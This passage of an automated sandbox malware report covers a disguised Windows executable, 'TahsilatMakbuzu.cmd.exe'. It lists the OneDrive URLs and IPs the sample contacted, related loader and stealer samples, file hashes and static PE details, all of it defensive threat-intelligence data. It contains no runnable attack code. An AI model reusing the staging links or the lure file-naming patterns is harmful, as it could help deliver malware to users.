00000000.00000002.4536787060.000000000307B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://1drv.ms/u/s	TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.000000000319D000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002F2F000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002F97000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000003095000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002CB1000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.000000000307B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://requirejs.org/docs/errors.html#	TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002DBA000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://onedrive.liv	TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002FBB000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.00000000031AB000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002F97000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000003095000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.000000000326C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://1drv.msD	TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002F2F000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002F97000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000003095000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.000000000307B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://onedrive.live.com	TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002CFD000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://onedrive.live.com/_forms/default.aspx	TahsilatMakbuzu.cmd.exe, 00000000.00000002.4539232688.0000000003D78000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://skyapi.onedrive.live.com	TahsilatMakbuzu.cmd.exe, 00000000.00000002.4539232688.0000000003D78000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://onedrive.live.com/redir?resid=BF2B7C0838B5E1BD	TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002DB2000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002F47000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002D25000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002D9C000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002FBB000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002CFD000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002DA7000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.00000000031AB000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002D47000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002D81000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.000000000319D000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002DAD000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002F2F000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002D13000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002D53000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002D71000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002F97000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002D6D000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002D4F000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002D0B000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002D5C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://1drv.ms	TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.000000000319D000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002F2F000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002F97000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000003095000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.000000000307B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://onedrive.live.com/_forms/default.aspx?ReturnUrl=%2F%3Fid%3DBF2B7C0838B5E1BD%21116%26resid%3D	TahsilatMakbuzu.cmd.exe, 00000000.00000002.4539232688.0000000003D78000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://1drv.msP	TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.000000000319D000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002F2F000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002F97000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000003095000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.000000000307B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002CB1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://onedrive.live.com/?id=BF2B7C0838B5E1BD	TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002DBA000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://1drv.ms	TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002D9C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://spoprod-a.akamaihd.net/files/odsp-common-library-prod_2019-02-15_20190219.002/require.js	TahsilatMakbuzu.cmd.exe, 00000000.00000002.4539232688.0000000003D78000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
13.107.139.11	dual-spov-0006.spov-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
13.107.42.12	1drv.ms	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
13.107.137.11	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1467816
Start date and time:	2024-07-04 20:15:04 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 28s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	11
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	TahsilatMakbuzu.cmd.exe
Detection:	MAL
Classification:	mal60.evad.winEXE@1/0@19/3
EGA Information:	Failed
HCA Information:	Successful, ratio: 95% Number of executed functions: 42 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, svchost.exe
Excluded domains from analysis (whitelisted): www.bing.com, odc-web-brs.onedrive.akadns.net, client.wns.windows.com, ocsp.digicert.com, odc-web-geo.onedrive.akadns.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target TahsilatMakbuzu.cmd.exe, PID 6640 because it is empty
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: TahsilatMakbuzu.cmd.exe

Simulations

Behavior and APIs

Time	Type	Description
14:15:50	API Interceptor	13004124x Sleep call for process: TahsilatMakbuzu.cmd.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
13.107.139.11	Adjunto confirmacion de pedido.exe	Get hash	malicious	DBatLoader, FormBook	Browse
	ZAM#U00d3WIENIE Nr.240702117398203XLS.exe	Get hash	malicious	DBatLoader, FormBook	Browse
	710_SO_TO_CHITTAGONG1_CFS-SOE777_PKCGP2410001-AMD-8248-HBL_DRAFT.scr.exe	Get hash	malicious	DBatLoader, Remcos	Browse
	https://onedrive.live.com/?authkey=%21AHR54w1YCfZUYeQ&id=ADC20E71480447CD%21127&cid=ADC20E71480447CD&parId=root&parQt=sharedby&o=OneUp	Get hash	malicious	Unknown	Browse
	Potvrda narudzbe u prilogu.exe	Get hash	malicious	DBatLoader, FormBook	Browse
	ProofOfPayment.CMD	Get hash	malicious	DBatLoader, Neshta, Remcos	Browse
	proof.cmd	Get hash	malicious	DBatLoader, Remcos	Browse
	Purchase Order.bat	Get hash	malicious	DBatLoader	Browse
	#U00d6deme Onay#U0131 Kopyas#U0131.exe	Get hash	malicious	AgentTesla, GuLoader	Browse
	#U0625#U064a#U0635#U0627#U0644 #U0627#U0644#U062f#U0641#U0639.exe	Get hash	malicious	AgentTesla, GuLoader	Browse
13.107.42.12	http://1drv.ms/u/s!Avet40xvHNtJeYnOf-r72NbijR0?e=jLZzfA	Get hash	malicious	HTMLPhisher	Browse	1drv.ms/u/s!Avet40xvHNtJeYnOf-r72NbijR0?e=jLZzfA
13.107.42.12	http://1drv.ms/o/s!BPb7J7NZpzPthy9Fg4_8MqAglknY	Get hash	malicious	Unknown	Browse	1drv.ms/o/s!BPb7J7NZpzPthy9Fg4_8MqAglknY
13.107.137.11	Payment Remittance Advice_000000202213.xlsb	Get hash	malicious	Unknown	Browse	onedrive.live.com/download?cid=64F8294A00286885&resid=64F8294A00286885%21770&authkey=ABI3zrc6BsVUKxU

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
dual-spov-0006.spov-msedge.net	Adjunto confirmacion de pedido.exe	Get hash	malicious	DBatLoader, FormBook	Browse	13.107.139.11
	ZAM#U00d3WIENIE Nr.240702117398203XLS.exe	Get hash	malicious	DBatLoader, FormBook	Browse	13.107.139.11
	710_SO_TO_CHITTAGONG1_CFS-SOE777_PKCGP2410001-AMD-8248-HBL_DRAFT.scr.exe	Get hash	malicious	DBatLoader, Remcos	Browse	13.107.139.11
	https://1drv.ms/o/s!At-8sPpRzvxIqQDSUMWIAACun1sr?e=FTp3hr	Get hash	malicious	HTMLPhisher	Browse	13.107.137.11
	https://onedrive.live.com/?authkey=%21AHR54w1YCfZUYeQ&id=ADC20E71480447CD%21127&cid=ADC20E71480447CD&parId=root&parQt=sharedby&o=OneUp	Get hash	malicious	Unknown	Browse	13.107.137.11
	https://1drv.ms/o/s!BPrTdhI7oSu8clVz2MtimTKijIo?e=OHIgpODv90GOTJF7Lt91hQ&at=9	Get hash	malicious	Unknown	Browse	13.107.137.11
	Potvrda narudzbe u prilogu.exe	Get hash	malicious	DBatLoader, FormBook	Browse	13.107.139.11
	PURCHASE_ORDER.CMD	Get hash	malicious	DBatLoader, Remcos	Browse	13.107.137.11
	ProofOfPayment.CMD	Get hash	malicious	DBatLoader, Neshta, Remcos	Browse	13.107.137.11
	ProofOfPayment.CMD	Get hash	malicious	DBatLoader, Neshta, Remcos	Browse	13.107.139.11
1drv.ms	https://1drv.ms/o/s!At-8sPpRzvxIqQDSUMWIAACun1sr?e=FTp3hr	Get hash	malicious	HTMLPhisher	Browse	13.107.42.12
	https://1drv.ms/o/s!BPrTdhI7oSu8clVz2MtimTKijIo?e=OHIgpODv90GOTJF7Lt91hQ&at=9	Get hash	malicious	Unknown	Browse	13.107.42.12
	https://1drv.ms/o/s!AtgZtUTscV5gglU4Zm7SqVNgqKAq?e=JZTpyx	Get hash	malicious	HTMLPhisher	Browse	13.107.42.12
	https://1drv.ms/o/s!Ale5u7cgFrqDgrU1Y9FuTirE1RVPjA?e=U3XZbQ	Get hash	malicious	SharepointPhisher	Browse	13.107.42.12
	https://1drv.ms/f/s!Au13bCs5C-oDg80wq6Iti50hSMW3rA?e=vlTf9z	Get hash	malicious	Unknown	Browse	13.107.42.12
	https://1drv.ms/u/s!AvRvEmgJ5d9kgly3z-uh2_ANgH5h	Get hash	malicious	Unknown	Browse	13.107.42.12
	https://1drv.ms/u/s!AvRvEmgJ5d9kgly3z-uh2_ANgH5h	Get hash	malicious	Unknown	Browse	13.107.42.12
	https://1drv.ms/u/s!AvRvEmgJ5d9kgly3z-uh2_ANgH5h	Get hash	malicious	Unknown	Browse	13.107.42.12
	https://url.us.m.mimecastprotect.com/s/qJHQCPNglVsqLAYTzYB59?domain=1drv.ms	Get hash	malicious	Unknown	Browse	13.107.42.12
	https://1drv.ms/o/s!AmFI0faGJpjZhESzK-ltQ-Z_UHmf?e=0OfhLS	Get hash	malicious	Unknown	Browse	13.107.42.12

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
MICROSOFT-CORP-MSN-AS-BLOCKUS	https://iriss.online/i/ontransfer_pathways/login?p=login	Get hash	malicious	Unknown	Browse	13.107.246.42
	https://truecommerceedi-my.sharepoint.com/:o:/g/personal/doug_linek_truecommerce_com/EiyWH-QHx4BNkzCWTtkFfUIB_LOEdcSk9TIJqvvJ9XzR1g?e=5*3afRyHim&at=9__;JQ!!OKzgfr8!eRInWK3-pMetXEotUTlHeRL-kpHfDqqm_UrakLHbmUfqMhfbmxWKXtEdjpydW76gr1OuCloOoBK5CAxEBpCwr50Heacl$	Get hash	malicious	HTMLPhisher	Browse	52.104.95.39
	https://truecommerceedi-my.sharepoint.com/:o:/g/personal/doug_linek_truecommerce_com/EiyWH-QHx4BNkzCWTtkFfUIB_LOEdcSk9TIJqvvJ9XzR1g?e=5%3afRyHim&at=9	Get hash	malicious	HTMLPhisher	Browse	13.107.136.10
	13334c17-0dbd-4b95-8089-8c7deb9440fa.eml	Get hash	malicious	Unknown	Browse	104.47.75.220
	https://url.uk.m.mimecastprotect.com/s/kjICCMw0ptMOvmDHwXbDO?domain=kirkleesstadium-my.sharepoint.com	Get hash	malicious	HTMLPhisher	Browse	52.105.30.53
	j980HN1yJw.elf	Get hash	malicious	Unknown	Browse	52.140.221.96
	vCh0ttyibb.elf	Get hash	malicious	Unknown	Browse	40.116.116.116
	XeKVjhBWhU.elf	Get hash	malicious	Unknown	Browse	52.243.238.167
	https://tirolschiffahrt-my.sharepoint.com/:b:/g/personal/guenther_stromberger_achenseeschifffahrt_at/ERHjbt8I2F1Cud05ORuEKLsB-xKZjBPBYU6o-A2aobLxvw?e=4%3aCj2GiS&at=9	Get hash	malicious	Unknown	Browse	13.107.136.10
	https://cdn.one.store/90c73780-db89-498a-b0ad-da3309eb0ca0/images/unlayer-editor/m62ngh.gif	Get hash	malicious	Unknown	Browse	13.107.246.60
MICROSOFT-CORP-MSN-AS-BLOCKUS	https://iriss.online/i/ontransfer_pathways/login?p=login	Get hash	malicious	Unknown	Browse	13.107.246.42
	https://truecommerceedi-my.sharepoint.com/:o:/g/personal/doug_linek_truecommerce_com/EiyWH-QHx4BNkzCWTtkFfUIB_LOEdcSk9TIJqvvJ9XzR1g?e=5*3afRyHim&at=9__;JQ!!OKzgfr8!eRInWK3-pMetXEotUTlHeRL-kpHfDqqm_UrakLHbmUfqMhfbmxWKXtEdjpydW76gr1OuCloOoBK5CAxEBpCwr50Heacl$	Get hash	malicious	HTMLPhisher	Browse	52.104.95.39
	https://truecommerceedi-my.sharepoint.com/:o:/g/personal/doug_linek_truecommerce_com/EiyWH-QHx4BNkzCWTtkFfUIB_LOEdcSk9TIJqvvJ9XzR1g?e=5%3afRyHim&at=9	Get hash	malicious	HTMLPhisher	Browse	13.107.136.10
	13334c17-0dbd-4b95-8089-8c7deb9440fa.eml	Get hash	malicious	Unknown	Browse	104.47.75.220
	https://url.uk.m.mimecastprotect.com/s/kjICCMw0ptMOvmDHwXbDO?domain=kirkleesstadium-my.sharepoint.com	Get hash	malicious	HTMLPhisher	Browse	52.105.30.53
	j980HN1yJw.elf	Get hash	malicious	Unknown	Browse	52.140.221.96
	vCh0ttyibb.elf	Get hash	malicious	Unknown	Browse	40.116.116.116
	XeKVjhBWhU.elf	Get hash	malicious	Unknown	Browse	52.243.238.167
	https://tirolschiffahrt-my.sharepoint.com/:b:/g/personal/guenther_stromberger_achenseeschifffahrt_at/ERHjbt8I2F1Cud05ORuEKLsB-xKZjBPBYU6o-A2aobLxvw?e=4%3aCj2GiS&at=9	Get hash	malicious	Unknown	Browse	13.107.136.10
	https://cdn.one.store/90c73780-db89-498a-b0ad-da3309eb0ca0/images/unlayer-editor/m62ngh.gif	Get hash	malicious	Unknown	Browse	13.107.246.60
MICROSOFT-CORP-MSN-AS-BLOCKUS	https://iriss.online/i/ontransfer_pathways/login?p=login	Get hash	malicious	Unknown	Browse	13.107.246.42
	https://truecommerceedi-my.sharepoint.com/:o:/g/personal/doug_linek_truecommerce_com/EiyWH-QHx4BNkzCWTtkFfUIB_LOEdcSk9TIJqvvJ9XzR1g?e=5*3afRyHim&at=9__;JQ!!OKzgfr8!eRInWK3-pMetXEotUTlHeRL-kpHfDqqm_UrakLHbmUfqMhfbmxWKXtEdjpydW76gr1OuCloOoBK5CAxEBpCwr50Heacl$	Get hash	malicious	HTMLPhisher	Browse	52.104.95.39
	https://truecommerceedi-my.sharepoint.com/:o:/g/personal/doug_linek_truecommerce_com/EiyWH-QHx4BNkzCWTtkFfUIB_LOEdcSk9TIJqvvJ9XzR1g?e=5%3afRyHim&at=9	Get hash	malicious	HTMLPhisher	Browse	13.107.136.10
	13334c17-0dbd-4b95-8089-8c7deb9440fa.eml	Get hash	malicious	Unknown	Browse	104.47.75.220
	https://url.uk.m.mimecastprotect.com/s/kjICCMw0ptMOvmDHwXbDO?domain=kirkleesstadium-my.sharepoint.com	Get hash	malicious	HTMLPhisher	Browse	52.105.30.53
	j980HN1yJw.elf	Get hash	malicious	Unknown	Browse	52.140.221.96
	vCh0ttyibb.elf	Get hash	malicious	Unknown	Browse	40.116.116.116
	XeKVjhBWhU.elf	Get hash	malicious	Unknown	Browse	52.243.238.167
	https://tirolschiffahrt-my.sharepoint.com/:b:/g/personal/guenther_stromberger_achenseeschifffahrt_at/ERHjbt8I2F1Cud05ORuEKLsB-xKZjBPBYU6o-A2aobLxvw?e=4%3aCj2GiS&at=9	Get hash	malicious	Unknown	Browse	13.107.136.10
	https://cdn.one.store/90c73780-db89-498a-b0ad-da3309eb0ca0/images/unlayer-editor/m62ngh.gif	Get hash	malicious	Unknown	Browse	13.107.246.60

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	hANEXOPDF.PDF40 234057.msi	Get hash	malicious	Unknown	Browse	13.107.139.11 13.107.42.12 13.107.137.11
	0001.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	13.107.139.11 13.107.42.12 13.107.137.11
	Luciana Alvarez CV.exe	Get hash	malicious	AgentTesla	Browse	13.107.139.11 13.107.42.12 13.107.137.11
	Acal BFi UK - Products List 020240704.exe	Get hash	malicious	AgentTesla, RedLine, StormKitty, XWorm	Browse	13.107.139.11 13.107.42.12 13.107.137.11
	Zz3h8cOX1E.exe	Get hash	malicious	Quasar	Browse	13.107.139.11 13.107.42.12 13.107.137.11
	5gO02Ijl9V.exe	Get hash	malicious	GuLoader	Browse	13.107.139.11 13.107.42.12 13.107.137.11
	0NJYTCJYLo.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	13.107.139.11 13.107.42.12 13.107.137.11
	https://ipfs.io/ipfs/bafkreigwisqonlsn4eyx5zphwwujk5meihuzc6poy64tunmtpozna4a4cq	Get hash	malicious	Unknown	Browse	13.107.139.11 13.107.42.12 13.107.137.11
	SecuriteInfo.com.Trojan.AutoIt.1410.29083.29061.exe	Get hash	malicious	Stealerium	Browse	13.107.139.11 13.107.42.12 13.107.137.11
	Order 0003994887588960600000.bat.exe	Get hash	malicious	GuLoader	Browse	13.107.139.11 13.107.42.12 13.107.137.11

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	6.101053764593884
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	TahsilatMakbuzu.cmd.exe
File size:	45'056 bytes
MD5:	1d4e40d9184fac8d509b0f51f3c9732f
SHA1:	a206adbac6a177c0d2b95fdfda1186854a9801f8
SHA256:	2b283db613aa7ef78340c488baaf98ee0cf7f0c262ed665df097a639517ea881
SHA512:	99e94b3b12bc55330bbf447a00f4137ef6925ac645a8cc7b4e27468b4f1383d3ea17aa502c20e975a108546d9bad9b1dde2699cee3cd517af3269a8a651c9233
SSDEEP:	768:zqJVGOBgg8RIsExAezOuF+LJvFS7SXT1mJS6sl/6ACkbYjmndz5juBUqr4LOwXx:0IOj8RIsl9vFFAJg/6ACk8KnV59dXx
TLSH:	E3133B4933DD6B62C37856FD44F2124003B4A7BB2203D77E6E8C26685CA3BD2A95A713
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....yf................................. ........@.. ....................................`................................

File Icon


Icon Hash:	5343571756717145

Static PE Info

General

Entrypoint:	0x40b3be
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x66791EA8 [Mon Jun 24 07:22:16 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xb364	0x57	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xc000	0x1800	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xe000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x93c4	0x9400	dba9c0f1175a2af59fece8703512f7b9	False	0.5957823057432432	data	6.257247673631347	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0xc000	0x1800	0x1800	3c82b173c62ffc04f8cfe81329032ee7	False	0.3331705729166667	data	4.7239809041829535	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xe000	0xc	0x200	a7ff3dd84c555b165748f16a43f45e48	False	0.044921875	data	0.08153941234324169	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
RT_ICON	0xc100	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096, resolution 2835 x 2835 px/m	0.31121013133208253
RT_GROUP_ICON	0xd1b8	0x14	data	1.1
RT_VERSION	0xd1dc	0x32c	data	0.4236453201970443
RT_MANIFEST	0xd518	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators	0.5489795918367347

Imports

